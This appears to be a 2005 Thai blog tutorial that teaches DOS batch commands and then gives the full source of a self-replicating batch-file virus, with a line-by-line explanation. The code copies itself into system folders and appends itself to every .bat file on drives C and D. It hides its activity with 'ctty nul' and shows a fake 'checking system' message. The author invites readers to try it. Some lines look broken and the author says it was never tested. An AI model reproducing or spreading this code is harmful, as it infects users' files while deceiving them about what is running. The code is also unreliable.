Virus

Virus With Batch

posted on 16 Sep 2005 15:03 by keztudio  in Virus

การเขียนไวรัสความพิวเตอร์ด้วยภาษา Batch

การเขียน Batch File นั้นก็คือการที่เราเขียนคำสั่งใน dos ที่ต้องการ การทำงานเป็นลำดับ (เป็นการทำให้คอมทำตามสคริปต์ที่เรสกำหนดไว้) ลงในไฟล์ที่มีนามสกุล .bat. เพราะฉะนั้น เราอาจเขียน Batch File ชึ่งทำหน้าที่การ Compile file ให้เราดังนี้

@echo off

for %%f in (*.asm) do tasm %%f

for %%f in (*.obj) do tlink /t %%f

เมื่อเราต้องการที่จะใช้มัน ก็เพียงแต่พิมพ์ชื่อไฟล์ตามที่เราตั้งไว้ในดอส แล้ว Enter มันก็จะExecute ทันที และ ในไม่ช้า ไฟล์ทุกไฟล์ก็ทำงานคอมไพล์เสร็จสิ้น

เอาล่ะคับ เรามาดูคำสั่งที่หน้าสนใจในการเขียน batch file กันเถอะ

Echo คือคำสั่งในการพิมพ์ข้อความออกทางหน้าจอคับ

ตัวอย่างเช่น ถ้าเราเขียน @echo off

echo Hello World

output ทางหน้าจอจะได้ Hello World

Echo off คืิอคำสั่งไม่ให้แสดง command line ของคำสั่งที่ถัดจากคำสั่งนี้ออกทางหน้าจอ ชื่งปรกติมันจะแสดงคำสั่งที่เราเขียนลงไปเช่น

ถ้าเราเขียน echo Hello World

Output ทางหน้าจอจะได้ C:\>echo Hello World

Hello World

แต่ถ้าเราใส่คำว่า Echo off ไว้ตำแหน่งบนสุดดังนี้

Echo off

echo Hello World

output ทางหน้าจอจะได้ C:\> Echo off

Hello World

และเวลาที่เราพิมพ์ต่อๆไปจะไม่มี command line มาขวางหูขวางตาอีกต่อไปคับ

@Echo off คือการไม่ให้แสดง command line ของคำสั่งตั้งแต่คำสั่งนี้ออกทางหน้าจอ คล้ายๆกับ echo off แต่คำสั่งนี้จะไม่แสดงตั้งแต่ตำแหน่งที่ไม่ได้ใช้เลย

...งงไหมคับ อย่าเพี่งงงคับ ต่อจากนี้คืองานจริงแล้วนะคับ...

ในการสร้าง loop ของโปรแกรมไวรัส เราสามารถทำได้สองทางคือ

  1. Loop แบบสำเร็จในตัว คือเราไม่ต้องกำหนดตำแหน่งให้กระโดดเข้าใน loop หรือกระโดดออกจาก loop เช่น เราใช้ for

    For %%F in (*.asm) do tasm %%f

    หมายความว่าให้หาทุกไฟล์ที่มีนามสกุลเปฯ *.asm หากใช่ก็ทำให้ึคำสั่ง tasm %%f (ค่าของ %%f จะเป็นชื่อของไฟล์ที่หาได้) หากไม่ใช่ *.asm ก็จะหาใหม่

    และ จะหาจนกว่าจะหมด

    1. Loop แบบที่เราต้องสร้างเองโดยใช้คำสั่ง GOTO ในการกระโดดไปหาตำแหน่ง

    นั้นโดยตำแหน่งนั้นเราต้องเขียน : นำหน้าเพื่อให้รู้ว่าจะเขียนไป เช่น

    : start

    copy %! A:

    shift

    goto start

    คำสั่งในการตรวจสอบเงื่อนไขก็ได้เช่น IF ใช้ดังนี้

    IF exist .bak dat .bak

    คำส่งข้างต้นคือการหาว่ามีไฟล์นามสกุล bak ไหม ถ้าเจอก็ฆ่าทิ้ง

    เอาล่ะคับ เรามาดูคำสั่งอื่นๆที่หน้าสนใจบ้างนะคับ...

    ATTRIB : คำสั่งไว้แก้คุณสมบัติของไฟล์

    CALL : คำสั่งที่ทำการ execute program และ เมื่อ program นั้นทำงานแล้ว ก็ให้

    คืนการทำงานมายังตำแหน่งถัดจากตำแหน่งที่ได้เรียกไป

    CLS : คุ้นๆไหมคับ ใช้แล้ว...คำสั่งล้างหน้าจอคับ

    CTTY : กำหนดทิศทางของ input & output ให้ไปหาไฟล์ หรือสิ่งที่เรากำหนด

    PAUSE : คือการหยุดการทำงานเพื่อคอยการกดคีย์

    เอาล่ะคับ พรํ่าพรื่อมานานแล้ว เรามาเข้าสู่การเขียนไวรัสกันเถอะคับ...

    Begin Virus Code

    @echo off %[Virus_Yin.bat]% //ลอกไวรัสนี้มาเป็นแบบคับ

    rem Original file

    rem This is my first Virus in Batch File Create on December 12 1988

    rem Create by KeZtudio

    rem Is Only a bit of code just 1.35 kbyte

    rem It Only Infect All Batch File (include read only file)

    rem It Not Polymorphic

    rem It Likes Worm

    rem It Species of Yin.30.Apr

    rem This virus name KeZtudio

    attrib r *.bat

    attrib +a *.bat

    %[KeZtuDio]%copy %0.bat C:\%0.bat

    %[NullScr]%cls

    echo Please Wait a Minute To Check System

    %[KeZtudio]%copy %0.bat C:\windows\%0.bat

    %[NullScr]%cls

    echo Please Wait a Minute To Check System

    %[KeZtudio]%copy %0.bat C:\windows\command\%0.bat

    %[NullScr]%cls

    echo Please Wait a Minute To Check System

    %[KeZtudio]%copy %0.bat C:\windows\help\%0.bat

    %[NullScr]%cls

    echo Please Wait a Minute To Check System

    ctty nul

    for %%f in (C:\*.bat d:\*.bat *.bat \*.bat..\*.bat) do copy %%f+%.bat

    %[Rtn_Port]%ctty con

    %[NullScr]% cls

    echo Please Wait a Minute To Check System

    cd c:\

    attrib r *.bat

    attrib +a *.bat

    ctty nul

    for %%f in (c:\*.bat d:\*.bat *.bat \*.bat..\*.bat) do attrib r *.bat

    for %%f in (c:\*.bat d:\*.bat *.bat \*.bat..\*.bat) do attrib +a

    *.bat

    for %%f in (c:\*.bat d:\*.bat *.bat \*.bat..\*.bat) do copy %%f+%0.bat

    %[Rtn_Port]%ctty con

    cd c:\windows

    %[NullScr]%cls

    echo Please Wait a Minute To Check System

    attrib r *.bat

    attrib +a *.bat

    ctty nul

    for %%f in (c:\*.bat d:\*.bat *.bat\*.bat..\*.bat) do attrib r *.bat

    for %%f in (c:\*.bat d:\*.bat *.bat\*.bat..\*.bat) do attrib +a *.bat

    for %%f in (c:\*.bat d:\*.bat *.bat\*.bat..\*.bat) do copy %%f+%0.bat

    %[Rtn_Port]%ctty con

    cd c:\windows\command

    attrib r *.bat

    attrib +a *.bat

    ctty nul

    for %%f in (c:\*.bat d:\*.bat *.bat\*.bat..\*.bat) do attrib r *.bat

    for %%f in (c:\*.bat d:\*.bat *.bat\*.bat..\*.bat) do attrib +a *.bat

    for %%f in (c:\*.bat d:\*.bat *.bat\*.bat..\*.bat) do copy %%f+%0.bat

    %[Rtn_Port]%ctty con

    %[NullScr]%cls

    echo Please Wait a Minute To Check System

    cd c:\windows\help

    attrib r *.bat

    attrib +a *.bat

    ctty nul

    for %%f in (c:\*.bat d:\*.bat *.bat\*.bat..\*.bat) do attrib r *.bat

    for %%f in (c:\*.bat d:\*.bat *.bat\*.bat..\*.bat) do attrib +a *.bat

    for %%f in (c:\*.bat d:\*.bat *.bat\*.bat..\*.bat) do copy %%f+%0.bat

    %[Rtn_Port]%ctty con

    %[NullScr]%cls

    echo NowProgram Had Already Checked System!

    echo Error Not Found!

    echo.

    echo.

    ctty con

    cd\

    End Virus Code

    อธิบายโค้ด

    จากโค้ดที่เขียนมาข้างบนนั้น เราให้ไวรัสติดเชื้อใน Current Directory ที่กำลังใช้งานอยู่หรือรันไวรัสอยู่ก่อนโดยไวรัสจะติดที่ bat ดังนั้น เราต้องแก้คุณสมบัติของไฟล์ (attribute) โดยคำสั่ง 2 บรรทัด

    attrib r *.bat

    attrib +a *.bat

    - copy %0.bat c:\0.bat

    โค้ดกระจายตนเองไปยัง Directory นอกสุด

    - cls

    การเคลียล์หน้าจอเพื่อแสดงข้อความ

    - echo Please Wait a Minute To Check System

    ออกจากหน้าจอเพื่อถ่วงความสนใจ

    - copy%0.bat c:\windows\%0.bat

    หลังจากที่เราหลอกผู้หลงกลอยู่นั้น ไวรัสของเราก็กะจายต่อไปคือ c:\windows\

    - ctty nul

    คือการปิดบังการแสดงผลงาน

    - for %%f in (c:\*.bat d:\*.bat *.bat\*.bat..\*.bat) do copy %%f+%0.bat

    การแผ่พันธุ์ตนเองของไวรัส

    - cd c:\

    การเปลี่ยน directory ที่ทำงานอยู่ประจุบันให้ไปทำงานชั้นนอกสุด

    ขอให้เป็นเพียงการศึกษานะครับ

    เป็นไงคับ งง ป่าว...ลองเอาไปเล่นดูนะคับ ผมเองยังไม่ได้ลองเหมือนกัน เพี่งเขียนเอง ผลเป็นไงก็มาบอกกันบ้างนะคับ อ้อ ถ้ามีข้อผิดผลาดก็ขออภัย ท่านไหนแก้ได้ก็ขอความกรุณาด้วยคับ

    คราวหน้าเรามาต่อที่ การเขียนไวรัสขั้นสูงกับ COM & EXE กันนะคับ วันนี้ลาล่ะ

    แว๊ปป...

    Thank to ดลเดช